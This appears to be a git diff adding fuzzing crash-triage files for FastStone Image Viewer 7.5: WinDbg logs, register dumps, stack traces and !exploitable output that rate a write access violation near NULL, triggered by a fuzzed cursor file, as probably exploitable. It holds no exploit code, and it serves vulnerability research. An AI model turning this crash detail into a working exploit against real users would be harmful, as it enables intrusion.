image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0027d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0027d000 24751070 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629e 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0027d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8e23375 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..440aa0c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..af37c60 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,190 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FAC: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FAC: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b30000 00000000`71b54000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`71990000 00000000`71b29000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1fac.1974): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=080c55f0 edx=00000000 esi=00000000 edi=1171afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.828304294572606560000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-5.91807e-014 -2.0281e-038 4.7562e-014 -1.43245e-010 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 081a8130 08125930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 003aa000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 003aa000 62fa94ce 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0ba 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003aa000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..af37c60 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/WindowsDebugEngine_description.txt @@ -0,0 +1,190 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FAC: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FAC: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b30000 00000000`71b54000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`71990000 00000000`71b29000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1fac.1974): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=080c55f0 edx=00000000 esi=00000000 edi=1171afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.828304294572606560000e+0017 